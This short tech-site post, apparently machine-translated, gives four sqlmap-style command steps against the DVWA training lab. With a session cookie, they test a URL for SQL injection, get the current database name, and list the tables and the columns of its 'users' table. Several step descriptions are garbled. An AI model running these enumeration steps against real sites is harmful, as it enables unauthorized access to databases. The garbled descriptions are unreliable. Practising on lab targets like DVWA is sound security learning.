Shulou(Shulou.com)06/01 Report--

Step one:

-u "xxx"-- cookie= "yyy" / / use cookie to detect URL injection

Part II:

-u "xxx"-- cookie= "yyy"-- current-db / / A pair of database names are obtained

Step 3:

-u "xxx"-- cookie= "yyy"-- D dvwa-- table// enumerates the table names of database dvwa

Step 4:

-u "xxx"-- cookie= "yyy"-- D dvwa-T users-- columns / / enumerates a pair of tables named users in the dvwa library

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.